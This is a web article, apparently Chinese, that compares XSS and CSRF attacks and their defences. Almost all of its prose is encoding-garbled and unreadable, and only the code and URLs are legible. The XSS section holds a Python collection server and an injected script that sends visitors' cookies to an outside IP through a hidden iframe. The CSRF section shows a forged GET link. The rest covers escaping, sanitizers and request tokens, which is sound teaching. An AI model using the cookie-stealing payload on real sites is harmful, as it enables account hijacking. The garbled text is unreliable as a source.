Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Modeler   Code  
»áÔ±   
 
   
 
 
     
   
 ¶©ÔÄ
  ¾èÖú
XSSÓëCSRFÁ½ÖÖ¿çÕ¾¹¥»÷×ܽá
 
×÷Õߣºcyjay5un À´Ô´£ºÉøÍ¸²âÊÔÑо¿ÖÐÐÄ ·¢²¼ÓÚ£º2015-8-20
  2605  次浏览      27

ÔÚÄǸöÄê´ú£¬´ó¼ÒÒ»°ãÓÃÆ´½Ó×Ö·û´®µÄ·½Ê½À´¹¹Ô춯̬ SQL Óï¾ä´´½¨Ó¦Óã¬ÓÚÊÇ SQL ×¢Èë³ÉÁ˺ÜÁ÷ÐеĹ¥»÷·½Ê½¡£ÔÚÕâ¸öÄê´ú£¬ ²ÎÊý»¯²éѯ [1] ÒѾ­³ÉÁËÆÕ±éÓ÷¨£¬ÎÒÃÇÒѾ­Àë SQL ×¢ÈëºÜÔ¶ÁË¡£µ«ÊÇ£¬ÀúʷͬÑùÓÆ¾ÃµÄ XSS ºÍ CSRF ȴûÓÐÔ¶ÀëÎÒÃÇ¡£ÓÉÓÚ֮ǰÒѾ­¶Ô XSS ºÜÊìϤÁË£¬ËùÒÔÎÒ¶ÔÓû§ÊäÈëµÄÊý¾ÝÒ»Ö±·Ç³£Ð¡ÐÄ¡£Èç¹ûÊäÈëµÄʱºòûÓо­¹ý Tidy Ö®ÀàµÄ¹ýÂË£¬ÎÒÒ»¶¨»áÔÚÄ£°åÊä³öʱºòÈ«²¿×ªÒå¡£ËùÒÔ¸öÈ˸оõ£¬Òª±ÜÃâ XSS Ò²ÊǺÜÈÝÒ׵ģ¬ÖصãÊÇÒª¡°Ð¡ÐÄ¡±¡£µ«×î½üÓÖÌý˵ÁËÁíÒ»ÖÖ¿çÕ¾¹¥»÷ CSRF £¬ÓÚÊÇÕÒÁËЩ×ÊÁÏÁ˽âÁËһϣ¬²¢Óë XSS ·ÅÔÚÒ»Æð×ö¸ö±È½Ï¡£

XSS£º½Å±¾ÖеIJ»ËÙÖ®¿Í

XSS È«³Æ¡°¿çÕ¾½Å±¾¡±£¬ÊÇ×¢Èë¹¥»÷µÄÒ»ÖÖ¡£ÆäÌØµãÊDz»¶Ô·þÎñÆ÷¶ËÔì³ÉÈκÎÉ˺¦£¬¶øÊÇͨ¹ýһЩÕý³£µÄÕ¾ÄÚ½»»¥Í¾¾¶£¬ÀýÈç·¢²¼ÆÀÂÛ£¬Ìá½»º¬ÓÐ JavaScript µÄÄÚÈÝÎı¾¡£Õâʱ·þÎñÆ÷¶ËÈç¹ûûÓйýÂË»òתÒåµôÕâЩ½Å±¾£¬×÷ΪÄÚÈÝ·¢²¼µ½ÁËÒ³ÃæÉÏ£¬ÆäËûÓû§·ÃÎÊÕâ¸öÒ³ÃæµÄʱºò¾Í»áÔËÐÐÕâЩ½Å±¾¡£

ÔËÐÐÔ¤ÆÚÖ®ÍâµÄ½Å±¾´øÀ´µÄºó¹ûÓкܶàÖУ¬¿ÉÄÜÖ»ÊǼòµ¥µÄ¶ñ×÷¾ç¡ª¡ªÒ»¸ö¹Ø²»µôµÄ´°¿Ú£º

while (true) {
2 alert("Äã¹Ø²»µôÎÒ~");
3 }

Ò²¿ÉÒÔÊǵÁºÅ»òÕ߯äËûδÊÚȨµÄ²Ù×÷¡ª¡ªÎÒÃÇÀ´Ä£ÄâÒ»ÏÂÕâ¸ö¹ý³Ì£¬ÏȽ¨Á¢Ò»¸öÓÃÀ´ÊÕ¼¯ÐÅÏ¢µÄ·þÎñÆ÷£º

1 #!/usr/bin/env python
2 #-*- coding:utf-8 -*-
3
4 """
5 ¿çÕ¾½Å±¾×¢ÈëµÄÐÅÏ¢ÊÕ¼¯·þÎñÆ÷
6 """
7
8 import bottle
9
10 app = bottle.Bottle()
11 plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
12 app.install(plugin)
13
14 @app.route('/myxss/')
15 def show(cookies, db):
16 SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
17 try:
18 db.execute(SQL, cookies)
19 except:
20 pass
21 return ""
22
23 if __name__ == "__main__":
24 app.run()

È»ºóÔÚijһ¸öÒ³ÃæµÄÆÀÂÛÖÐ×¢ÈëÕâ¶Î´úÂ룺

1 // Óà <script type="text/javascript"></script> °üÆðÀ´·ÅÔÚÆÀÂÛÖÐ
2
3 (function(window, document) {
4 // ¹¹Ôìй¶ÐÅÏ¢ÓÃµÄ URL
5 var cookies = document.cookie;
6 var xssURIBase = "http://192.168.123.123/myxss/";
7 var xssURI = xssURIBase + window.encodeURI(cookies);
8 // ½¨Á¢Òþ²Ø iframe ÓÃÓÚͨѶ
9 var hideFrame = document.createElement("iframe");
10 hideFrame.height = 0;
11 hideFrame.width = 0;
12 hideFrame.style.display = "none";
13 hideFrame.src = xssURI;
14 // ¿ª¹¤
15 document.body.appendChild(hideFrame);
16 })(window, document);

ÓÚÊÇÿ¸ö·ÃÎʵ½º¬ÓÐ¸ÃÆÀÂÛµÄÒ³ÃæµÄÓû§¶¼»áÓöµ½Âé·³¡ª¡ªËûÃDz»ÖªµÀ±³ºóÕýÇÄÇĵķ¢ÆðÁËÒ»¸öÇëÇó£¬ÊÇËûÃÇËù¿´²»µ½µÄ¡£¶øÕâ¸öÇëÇ󣬻á°Ñ°üº¬ÁËËûÃǵÄÕÊºÅºÍÆäËûÒþ˽µÄÐÅÏ¢·¢Ë͵½ÊÕ¼¯·þÎñÆ÷ÉÏ¡£

ÎÒÃÇÖªµÀ AJAX ¼¼ÊõËùʹÓÃµÄ XMLHttpRequest ¶ÔÏó¶¼±»ä¯ÀÀÆ÷×öÁËÏÞÖÆ£¬Ö»ÄÜ·ÃÎʵ±Ç°ÓòÃûÏ嵀 URL£¬Ëùν²»ÄÜ¡°¿çÓò¡±ÎÊÌâ¡£ÕâÖÖ×ö·¨µÄ³õÖÔÒ²ÊÇ·À·¶ XSS£¬¶à¶àÉÙÉÙ¶¼ÆðÁËһЩ×÷Ó㬵«²»ÊÇ×ÜÊÇÓÐÓã¬ÕýÈçÉÏÃæµÄ×¢Èë´úÂ룬Óà iframe Ò²Ò»Ñù¿ÉÒÔ´ïµ½ÏàͬµÄÄ¿µÄ¡£ÉõÖÁÔÚÔ¸ÒâµÄÇé¿öÏ£¬ÎÒ»¹ÄÜÓà iframe ·¢Æð POST ÇëÇó¡£µ±È»£¬ÏÖÔÚһЩä¯ÀÀÆ÷Äܹ»ºÜÖÇÄܵطÖÎö³ö²¿·Ö XSS ²¢ÓèÒÔÀ¹½Ø£¬ÀýÈçаæµÄ Firefox¡¢Chrome ¶¼ÄÜÕâô×ö¡£µ«À¹½Ø²»×ÜÊÇÄܳɹ¦£¬ºÎ¿öÕâ¸öÊÀ½çÉÏ»¹ÓдóÁ¿¸ù±¾²»ÖªµÀʲôÊÇä¯ÀÀÆ÷µÄÓû§ÔÚÓÃ×Å¿ÉÅ嵀 IE6¡£´ÓÔ­ÔòÉϽ«£¬ÎÒÃÇÒ²²»Ó¦¸Ã°Ñʹذ²È«ÐÔµÄÔðÈÎÍÆÍѸøä¯ÀÀÆ÷£¬ËùÒÔ·ÀÖ¹ XSS µÄ¸ù±¾Ö®µÀ»¹ÊǹýÂËÓû§ÊäÈë¡£Óû§ÊäÈë×ÜÊDz»¿ÉÐÅÈεģ¬Õâµã¶ÔÓÚ Web ¿ª·¢ÕßÓ¦¸ÃÊdz£Ê¶¡£

ÕýÈçÉÏÎÄËù˵£¬Èç¹ûÎÒÃDz»ÐèÒªÓû§ÊäÈë HTML ¶øÖ»ÏëÈÃËûÃÇÊäÈë´¿Îı¾£¬ÄÇô°ÑËùÓÐÓû§ÊäÈë½øÐÐ HTML תÒåÊä³öÊǸö²»´íµÄ×ö·¨¡£ËƺõºÜ¶à Web ¿ª·¢¿ò¼Ü¡¢Ä£°æÒýÇæµÄ¿ª·¢ÕßÒ²·¢ÏÖÁËÕâÒ»µã£¬Django ÄÚÖÃÄ£°æºÍ Jinja2 Ä£°æ×ÜÊÇĬÈÏתÒåÊä³ö±äÁ¿µÄ¡£Èç¹ûûÓÐʹÓÃËüÃÇ£¬ÎÒÃÇ×Ô¼ºÒ²¿ÉÒÔÕâô×ö¡£PHP ¿ÉÒÔÓà htmlspecialchars º¯Êý£¬Python ¿ÉÒÔµ¼Èë cgi Ä£¿éÓÃÆäÖÐµÄ cgi.escape º¯Êý¡£Èç¹ûʹÓÃÁËij¿îÄ£°æÒýÇæ£¬ÄÇôÆä±Ø×Ô´øÁË·½±ã¿ì½ÝµÄתÒ巽ʽ¡£

ÕæÕýÂé·³µÄÊÇ£¬ÔÚһЩ³¡ºÏÎÒÃÇÒªÔÊÐíÓû§ÊäÈë HTML£¬ÓÖÒª¹ýÂËÆäÖеĽű¾¡£Tidy µÈ HTML ÇåÀí¿â¿ÉÒÔ°ïæ£¬µ«Ç°ÌáÊÇÎÒÃÇСÐĵØÊ¹Ó᣽ö½ö´Ö±©µØÈ¥µô script ±êÇ©ÊÇûÓÐÓõģ¬ÈκÎÒ»¸öºÏ·¨ HTML ±êÇ©¶¼¿ÉÒÔÌí¼Ó onclick Ò»ÀàµÄʼþÊôÐÔÀ´Ö´ÐÐ JavaScript¡£¶ÔÓÚ¸´ÔÓµÄÇé¿ö£¬ÎÒ¸öÈ˸üÇãÏòÓÚʹÓüòµ¥µÄ·½·¨´¦Àí£¬¼òµ¥µÄ·½·¨¾ÍÊǰ×Ãûµ¥ÖØÐÂÕûÀí¡£Óû§ÊäÈëµÄ HTML ¿ÉÄÜÓµÓкܸ´ÔӵĽṹ£¬µ«ÎÒÃDz¢²»½«ÕâЩÊý¾ÝÖ±½Ó´æÈëÊý¾Ý¿â£¬¶øÊÇʹÓà HTML ½âÎö¿â±éÀú½Úµã£¬»ñÈ¡ÆäÖÐÊý¾Ý£¨Ö®ËùÒÔ²»Ê¹Óà XML ½âÎö¿âÊÇÒòΪ HTML ÒªÇóÓнÏÇ¿µÄÈÝ´íÐÔ£©¡£È»ºó¸ù¾ÝÓû§Ô­ÓеıêÇ©ÊôÐÔ£¬ÖØÐ¹¹½¨ HTML ÔªËØÊ÷¡£¹¹½¨µÄ¹ý³ÌÖУ¬ËùÓеıêÇ©¡¢ÊôÐÔ¶¼Ö»´Ó°×Ãûµ¥ÖÐÄÃÈ¡¡£ÕâÑù¿ÉÒÔÈ·±£ÍòÎÞһʧ¡ª¡ªÈç¹ûÓû§µÄijÖÖ¸´ÔÓÊäÈë²»ÄÜΪ½âÎöÆ÷Ëùʶ±ð£¨Ç°ÃæËµÁË HTML ²»Í¬ÓÚ XML£¬ÒªÇóÓкÜÇ¿µÄÈÝ´íÐÔ£©£¬ÄÇôËü²»»á³ÉÎªÂ©ÍøÖ®Ó㣬ÒòΪ°×Ãûµ¥ÖØÐÂÕûÀíµÄ²ßÂÔ»áÖ±½Ó¶ªÆúµôÕâЩδÄÜʶ±ðµÄ²¿·Ö¡£×îºó»ñµÃµÄРHTML ÔªËØÊ÷£¬ÎÒÃÇ¿ÉÒÔÅÄÐØ¸¬±£Ö¤¡ª¡ªËùÓеıêÇ©¡¢ÊôÐÔ¶¼À´×Ô°×Ãûµ¥£¬Ò»¶¨²»»áÒÅ©¡£

ÏÖÔÚ¿´À´£¬´ó¶àÊý Web ¿ª·¢Õß¶¼Á˽â XSS ²¢ÖªµÀÈçºÎ·À·¶£¬ÍùÍù´óÐ굀 XSS ¹¥»÷£¨°üÀ¨Ç°¶Îʱ¼äÐÂÀË΢²©µÄ XSS ×¢È룩¶¼ÊÇÓÉÓÚÊè©¡£ÎÒ¸öÈ˽¨ÒéÔÚʹÓÃÄ£°æÒýÇæµÄ Web ÏîÄ¿ÖУ¬¿ªÆô£¨»ò²»Òª¹Ø±Õ£©ÀàËÆ Django Template¡¢Jinja2 ÖС°Ä¬ÈÏתÒ塱£¨Auto Escape£©µÄ¹¦ÄÜ¡£ÔÚ²»ÐèҪתÒåµÄ³¡ºÏ£¬ÎÒÃÇ¿ÉÒÔÓÃÀàËÆ

{{ myvar | raw }} 

µÄ·½Ê½È¡ÏûתÒå¡£ÕâÖÖ°×Ãûµ¥Ê½µÄ×ö·¨£¬ÓÐÖúÓÚ½µµÍÎÒÃÇÓÉÓÚÊè©ÁôÏ XSS ©¶´µÄ·çÏÕ¡£

ÁíÍâÒ»¸ö·çÏÕ¼¯ÖÐÇøÓò£¬ÊǸ» AJAX ÀàÓ¦Óã¨ÀýÈç¶¹°êÍøµÄ°¢¶û·¨³Ç£©¡£ÕâÀàÓ¦ÓõķçÏÕ²¢²»¼¯ÖÐÔÚ HTTP µÄ¾²Ì¬ÏìÓ¦ÄÚÈÝ£¬ËùÒÔ²»ÊÇ¿ªÆôÄ£°æ×Ô¶¯×ªÒåÄܾÍÄÜÒ»ÀÍÓÀÒݵġ£ÔÙ¼ÓÉÏÕâÀàÓ¦ÓÃÍùÍùÐèÒª¿çÓò£¬¿ª·¢Õß²»µÃ²»×Ô¼º´ò¿ªÎ£ÏյĴóÃÅ¡£ÕâÖÖÇé¿öÏ£¬Õ¾µãµÄ°²È«·Ç³£ ÒÀÀµ¿ª·¢ÕßµÄϸÐĺÍÓ¦ÓÃÉÏÏßǰÓÐЧµÄ²âÊÔ¡£ÏÖÔÚÒàÓв»ÉÙ¿ªÔ´µÄ XSS ©¶´²âÊÔÈí¼þ°ü£¨ËƺõÓÐÆªÎÄÕÂÌáµ½¶¹°êÍøµÄ¿ª·¢Ò²Ê¹ÓÃ×Ô¶¯»¯ XSS ²âÊÔ£©£¬µ«ÎÒ¶¼Ã»ÊÔÓùý£¬¹Ê²»ÓèÆÀ¼Û¡£²»¹ÜÔõô˵£¬ÎÒÈÏΪ´ÓÓû§ÊäÈëµÄµØ·½°ÑºÃ¹Ø×ÜÊdzɱ¾×îµÍ¶øÓÖ×îÓÐЧµÄ×ö·¨¡£

ÕâÀ︽ÉÏһЩ¡°°×Ãûµ¥¡±Ïû¶¾ HTML ±êÇ©ºÍÊôÐÔ£¨Sanitize HTML£©µÄ¿ªÔ´½â¾ö·½°¸£º

Python: lxml.html.clean / bleach

Ruby: Sanitize

JavaScript: sanitize-html

PHP: htmlpurifier

CSRF£ºÃ°³äÓû§Ö®ÊÖ

Æð³õÎÒһֱŪ²»Çå³þ CSRF ¾¿¾¹ºÍ XSS ÓÐÊ²Ã´Çø±ð£¬ºóÀ´²ÅÃ÷°× CSRF ºÍ XSS ¸ù±¾ÊÇÁ½¸ö²»Í¬Î¬¶ÈÉϵķÖÀà¡£XSS ÊÇʵÏÖ CSRF µÄÖî¶à;¾¶ÖеÄÒ»Ìõ£¬µ«¾ø¶Ô²»ÊÇΨһµÄÒ»Ìõ¡£Ò»°ãϰ¹ßÉϰÑͨ¹ý XSS À´ÊµÏÖµÄ CSRF ³ÆÎª XSRF¡£

CSRF µÄÈ«³ÆÊÇ¡°¿çÕ¾ÇëÇóαÔ족£¬¶ø XSS µÄÈ«³ÆÊÇ¡°¿çÕ¾½Å±¾¡±¡£¿´ÆðÀ´ÓеãÏàËÆ£¬ËüÃǶ¼ÊÇÊôÓÚ¿çÕ¾¹¥»÷¡ª¡ª²»¹¥»÷·þÎñÆ÷¶Ë¶ø¹¥»÷Õý³£·ÃÎÊÍøÕ¾µÄÓû§£¬µ«Ç°ÃæËµÁË£¬ËüÃǵĹ¥»÷ÀàÐÍÊDz»Í¬Î¬¶ÈÉÏµÄ·Ö Àà¡£CSRF ¹ËÃû˼Ò壬ÊÇαÔìÇëÇó£¬Ã°³äÓû§ÔÚÕ¾ÄÚµÄÕý³£²Ù×÷¡£ÎÒÃÇÖªµÀ£¬¾ø´ó¶àÊýÍøÕ¾ÊÇͨ¹ý cookie µÈ·½Ê½±æÊ¶Óû§Éí·Ý£¨°üÀ¨Ê¹Ó÷þÎñÆ÷¶Ë Session µÄÍøÕ¾£¬ÒòΪ Session ID Ò²ÊÇ´ó¶à±£´æÔÚ cookie ÀïÃæµÄ£©£¬ÔÙÓèÒÔÊÚȨµÄ¡£ËùÒÔҪαÔìÓû§µÄÕý³£²Ù×÷£¬×îºÃµÄ·½·¨ÊÇͨ¹ý XSS »òÁ´½ÓÆÛÆ­µÈ;¾¶£¬ÈÃÓû§ÔÚ±¾»ú£¨¼´ÓµÓÐÉí·Ý cookie µÄä¯ÀÀÆ÷¶Ë£©·¢ÆðÓû§Ëù²»ÖªµÀµÄÇëÇó¡£

ÑϸñÒâÒåÉÏÀ´Ëµ£¬CSRF ²»ÄÜ·ÖÀàΪעÈë¹¥»÷£¬ÒòΪ CSRF µÄʵÏÖ;¾¶Ô¶Ô¶²»Ö¹ XSS ×¢ÈëÕâÒ»Ìõ¡£Í¨¹ý XSS À´ÊµÏÖ CSRF Ò×Èç·´ÕÆ£¬µ«¶ÔÓÚÉè¼Æ²»¼ÑµÄÍøÕ¾£¬Ò»ÌõÕý³£µÄÁ´½Ó¶¼ÄÜÔì³É CSRF¡£

ÀýÈ磬һÂÛÌ³ÍøÕ¾µÄ·¢ÌùÊÇͨ¹ý GET ÇëÇó·ÃÎÊ£¬µã»÷·¢ÌùÖ®ºó JS °Ñ·¢ÌùÄÚÈÝÆ´½Ó³ÉÄ¿±ê URL ²¢·ÃÎÊ£º

 http://example.com/bbs/create_post.php?title=±êÌâ&content=ÄÚÈÝ

ÄÇô£¬ÎÒÖ»ÐèÒªÔÚÂÛ̳Öз¢Ò»Ìû£¬°üº¬Ò»Á´½Ó£º

http://example.com/bbs/create_post.php?title=ÎÒÊÇÄÔ²Ð&content=¹þ¹þ

Ö»ÒªÓÐÓû§µã»÷ÁËÕâ¸öÁ´½Ó£¬ÄÇôËûÃǵÄÕÊ»§¾Í»áÔÚ²»ÖªÇéµÄÇé¿öÏ·¢²¼ÁËÕâÒ»Ìû×Ó¡£¿ÉÄÜÕâÖ»ÊǸö¶ñ×÷¾ç£¬µ«ÊǼÈÈ»·¢ÌùµÄÇëÇó¿ÉÒÔαÔ죬ÄÇôɾÌû¡¢×ªÕÊ¡¢¸ÄÃÜÂë¡¢·¢ÓʼþÈ«¶¼¿ÉÒÔαÔì¡£

ÈçºÎ½â¾öÕâ¸öÎÊÌ⣬ÎÒÃÇÊÇ·ñ¿ÉÒÔЧ·ÂÉÏÎÄÓ¦¶Ô XSS µÄ×ö·¨ÄØ£¿¹ýÂËÓû§ÊäÈ룬 ²»ÔÊÐí·¢²¼ÕâÖÖº¬ÓÐÕ¾ÄÚ²Ù×÷ URL µÄÁ´½Ó¡£Õâô×ö¿ÉÄÜ»áÓеãÓ㬵«×èµ²²»ÁË CSRF£¬ÒòΪ¹¥»÷Õß¿ÉÒÔͨ¹ý QQ »òÆäËûÍøÕ¾°ÑÕâ¸öÁ´½Ó·¢²¼ÉÏÈ¥£¬ÎªÁËαװ¿ÉÄÜ»¹Ê¹Óà bit.ly ѹËõÒ»ÏÂÍøÖ·£¬ÕâÑùµã»÷µ½Õâ¸öÁ´½ÓµÄÓû§»¹ÊÇÒ»Ñù»áÖÐÕС£ËùÒÔ¶Ô´ý CSRF £¬ÎÒÃǵÄÊÓ½ÇÐèÒªºÍ¶Ô´ý XSS ÓÐËùÇø±ð¡£CSRF ²¢²»Ò»¶¨ÒªÓÐÕ¾ÄÚµÄÊäÈ룬ÒòΪËü²¢²»ÊôÓÚ×¢Èë¹¥»÷£¬¶øÊÇÇëÇóαÔì¡£±»Î±ÔìµÄÇëÇó¿ÉÒÔÊÇÈκÎÀ´Ô´£¬¶ø·ÇÒ»¶¨ÊÇÕ¾ÄÚ¡£ËùÒÔÎÒÃÇΨÓÐÒ»Ìõ·¿ÉÐУ¬¾ÍÊǹýÂËÇëÇóµÄ ´¦ÀíÕß¡£

±È½ÏÍ·Í´µÄÊÇ£¬ÒòΪÇëÇó¿ÉÒÔ´ÓÈκÎÒ»·½·¢Æð£¬¶ø·¢ÆðÇëÇóµÄ·½Ê½¶àÖÖ¶àÑù£¬¿ÉÒÔͨ¹ý iframe¡¢ajax£¨Õâ¸ö²»ÄÜ¿çÓò£¬µÃÏÈ XSS£©¡¢Flash ÄÚ²¿·¢ÆðÇëÇó£¨×ÜÊǸö´óÒþ»¼£©¡£ÓÉÓÚ¼¸ºõûÓг¹µ×¶Å¾ø CSRF µÄ·½Ê½£¬ÎÒÃÇÒ»°ãµÄ×ö·¨£¬ÊÇÒÔ¸÷ÖÖ·½Ê½Ìá¸ß¹¥»÷µÄÃż÷¡£

Ê×ÏÈ¿ÉÒÔÌá¸ßµÄÒ»¸öÃż÷£¬¾ÍÊǸÄÁ¼Õ¾ÄÚ API µÄÉè¼Æ¡£¶ÔÓÚ·¢²¼Ìû×ÓÕâÒ»Àà´´½¨×ÊÔ´µÄ²Ù×÷£¬Ó¦¸ÃÖ»½ÓÊÜ POST ÇëÇ󣬶ø GET ÇëÇóÓ¦¸ÃÖ»ä¯ÀÀ¶ø²»¸Ä±ä·þÎñÆ÷¶Ë×ÊÔ´¡£µ±È»£¬×îÀíÏëµÄ×ö·¨ÊÇʹÓÃREST ·ç¸ñ [2] µÄ API Éè¼Æ£¬GET¡¢POST¡¢PUT¡¢DELETE ËÄÖÖÇëÇó·½·¨¶ÔÓ¦×ÊÔ´µÄ¶ÁÈ¡¡¢´´½¨¡¢Ð޸ġ¢É¾³ý¡£ÏÖÔÚµÄä¯ÀÀÆ÷»ù±¾²»Ö§³ÖÔÚ±íµ¥ÖÐʹÓà PUT ºÍ DELETE ÇëÇó·½·¨£¬ÎÒÃÇ¿ÉÒÔʹÓà ajax Ìá½»ÇëÇó£¨ÀýÈçͨ¹ý jquery-form ²å¼þ£¬ÎÒ×îϲ»¶µÄ×ö·¨£©£¬Ò²¿ÉÒÔʹÓÃÒþ²ØÓòÖ¸¶¨ÇëÇó·½·¨£¬È»ºóÓà POST Ä£Äâ PUT ºÍ DELETE £¨Ruby on Rails µÄ×ö·¨£©¡£ÕâôһÀ´£¬²»Í¬µÄ×ÊÔ´²Ù×÷Çø·ÖµÄ·Ç³£Çå³þ£¬ÎÒÃǰÑÎÊÌâÓòËõСµ½ÁË·Ç GET ÀàÐ͵ÄÇëÇóÉÏ¡ª¡ª¹¥»÷ÕßÒѾ­²»¿ÉÄÜͨ¹ý·¢²¼Á´½ÓÀ´Î±ÔìÇëÇóÁË£¬µ«ËûÃÇÈÔ¿ÉÒÔ·¢²¼±íµ¥£¬»òÕßÔÚÆäËûÕ¾µãÉÏʹÓÃÎÒÃÇÈâÑÛ²»¿É¼ûµÄ±íµ¥£¬ÔÚºǫ́Óà js ²Ù×÷£¬Î±ÔìÇëÇó¡£

½ÓÏÂÀ´ÎÒÃǾͿÉÒÔÓñȽϼòµ¥Ò²±È½ÏÓÐЧµÄ·½·¨À´·ÀÓù CSRF£¬Õâ¸ö·½·¨¾ÍÊÇ¡°ÇëÇóÁîÅÆ¡±¡£¶Á¹ý¡¶J2EE ºËÐÄģʽ¡·µÄͬѧӦ¸Ã¶Ô¡°Í¬²½ÁîÅÆ¡±Ó¦¸Ã²»»áİÉú£¬¡°ÇëÇóÁîÅÆ¡±ºÍ¡°Í¬²½ÁîÅÆ¡±Ô­ÀíÊÇÒ»ÑùµÄ£¬Ö»²»¹ýÄ¿µÄ²»Í¬£¬ºóÕßÊÇΪÁ˽â¾ö POST ÇëÇóÖØ¸´Ìá½»ÎÊÌ⣬ǰÕßÊÇΪÁ˱£Ö¤ÊÕµ½µÄÇëÇóÒ»¶¨À´×ÔÔ¤ÆÚµÄÒ³Ãæ¡£ÊµÏÖ·½·¨·Ç³£¼òµ¥£¬Ê×ÏÈ·þÎñÆ÷¶ËÒªÒÔijÖÖ²ßÂÔÉú³ÉËæ»ú×Ö·û´®£¬×÷ΪÁîÅÆ£¨token£©£¬ ±£´æÔÚ Session ÀȻºóÔÚ·¢³öÇëÇóµÄÒ³Ãæ£¬°Ñ¸ÃÁîÅÆÒÔÒþ²ØÓòÒ»ÀàµÄÐÎʽ£¬ÓëÆäËûÐÅÏ¢Ò»²¢·¢³ö¡£ÔÚ½ÓÊÕÇëÇóµÄÒ³Ãæ£¬°Ñ½ÓÊÕµ½µÄÐÅÏ¢ÖеÄÁîÅÆÓë Session ÖеÄÁîÅÆ±È½Ï£¬Ö»ÓÐÒ»ÖµÄʱºò²Å´¦ÀíÇëÇ󣬷ñÔò·µ»Ø HTTP 403 ¾Ü¾øÇëÇó»òÕßÒªÇóÓû§ÖØÐµÇ¼ÑéÖ¤Éí·Ý¡£

ÇëÇóÁîÅÆËäȻʹÓÃÆðÀ´¼òµ¥£¬µ«²¢·Ç²»¿ÉÆÆ½â£¬Ê¹Óò»µ±»áÔö¼Ó°²È«Òþ»¼¡£Ê¹ÓÃÇëÇóÁîÅÆÀ´·ÀÖ¹ CSRF ÓÐÒÔϼ¸µãҪעÒ⣺

ËäÈ»ÇëÇóÁîÅÆÔ­ÀíºÍÑéÖ¤ÂëÓÐÏàËÆÖ®´¦£¬µ«²»Ó¦¸ÃÏñÑéÖ¤ÂëÒ»Ñù£¬È«¾ÖʹÓÃÒ»¸ö Session Key¡£ÒòΪÇëÇóÁîÅÆµÄ·½·¨ÔÚÀíÂÛÉÏÊÇ¿ÉÆÆ½âµÄ£¬ÆÆ½â·½Ê½ÊǽâÎöÀ´Ô´Ò³ÃæµÄÎı¾£¬»ñÈ¡ÁîÅÆÄÚÈÝ¡£Èç¹ûÈ«¾ÖʹÓÃÒ»¸ö Session Key£¬ÄÇôΣÏÕϵÊý»áÉÏÉý¡£Ô­ÔòÉÏÀ´Ëµ£¬Ã¿¸öÒ³ÃæµÄÇëÇóÁîÅÆ¶¼Ó¦¸Ã·ÅÔÚ¶ÀÁ¢µÄ Session Key ÖС£ÎÒÃÇÔÚÉè¼Æ·þÎñÆ÷¶ËµÄʱºò£¬¿ÉÒÔÉÔ¼Ó·â×°£¬±àдһ¸öÁîÅÆ¹¤¾ß°ü£¬½«Ò³ÃæµÄ±êʶ×÷Ϊ Session Öб£´æÁîÅÆµÄ¼ü¡£

ÔÚ ajax ¼¼ÊõÓ¦Óý϶àµÄ³¡ºÏ£¬ÒòΪºÜÓÐÇëÇóÊÇ JavaScript ·¢ÆðµÄ£¬Ê¹Óþ²Ì¬µÄÄ£°æÊä³öÁîÅÆÖµ»ò¶à»òÉÙÓÐЩ²»·½±ã¡£µ«ÎÞÂÛÈçºÎ£¬Çë²»ÒªÌṩֱ½Ó»ñÈ¡ÁîÅÆÖµµÄ API¡£Õâô×öÎÞÒÉÊÇËøÉÏÁË´óÃÅ£¬È´ÓÖ°ÑÔ¿³×·ÅÔÚÃſڣ¬ÈÃÎÒÃǵÄÇëÇóÁîÅÆÍË»¯ÎªÍ¬²½ÁîÅÆ¡£

µÚÒ»µã˵ÁËÇëÇóÁîÅÆÀíÂÛÉÏÊÇ¿ÉÆÆ½âµÄ£¬ËùÒԷdz£ÖØÒªµÄ³¡ºÏ£¬Ó¦¸Ã¿¼ÂÇʹÓÃÑéÖ¤Â루ÁîÅÆµÄÒ»ÖÖÉý¼¶£¬Ä¿Ç°À´¿´ÆÆ½âÄѶȼ«´ó£©£¬»òÕßÒªÇóÓû§ÔÙ´ÎÊäÈëÃÜÂ루ÑÇÂíÑ·¡¢ÌÔ±¦µÄ×ö·¨£©¡£µ«ÕâÁ½ÖÖ·½Ê½Óû§ÌåÑé¶¼²»ºÃ£¬ËùÒÔÐèÒª²úÆ·¿ª·¢ÕßȨºâ¡£

ÎÞÂÛÊÇÆÕͨµÄÇëÇóÁîÅÆ»¹ÊÇÑéÖ¤Â룬·þÎñÆ÷¶ËÑéÖ¤¹ýÒ»¶¨¼ÇµÃÏú»Ù¡£Íü¼ÇÏú»ÙÓùýµÄÁîÅÆÊǸöºÜµÍ¼¶µ«ÊÇɱÉËÁ¦ºÜ´óµÄ´íÎó¡£ÎÒÃÇѧУµÄÑ¡¿Îϵͳ¾ÍÓÐÕâ¸ö ÎÊÌ⣬ÑéÖ¤ÂëÓÃÍ겢δÏú»Ù£¬¹ÊÖ»Òª»ñȡһ´ÎÑéÖ¤ÂëͼƬ£¬ÆäÖеÄÑéÖ¤Âë¿ÉÒÔÔÚ¶à´ÎÇëÇóÖÐʹÓã¨Ö»Òª²»ÔÙ´ÎË¢ÐÂÑéÖ¤ÂëͼƬ£©£¬Ò»Ö±Óõ½ Session ³¬Ê±¡£ÕâÒ²ÊÇΪºÎÑ¡¿Îϵͳ¼ÓÁËÑéÖ¤Â룬Íâ¹ÒÈí¼þÉý¼¶Ò»´ÎÖ®ºóÈÔÈ»³©Í¨ÎÞ×è¡£

ÈçÏÂÒ²ÁгöһЩ¾Ý˵ÄÜÓÐЧ·À·¶ CSRF£¬ÆäʵЧ¹ûÉõ΢µÄ·½Ê½ÉõÖÁÎÞЧµÄ×ö·¨¡£

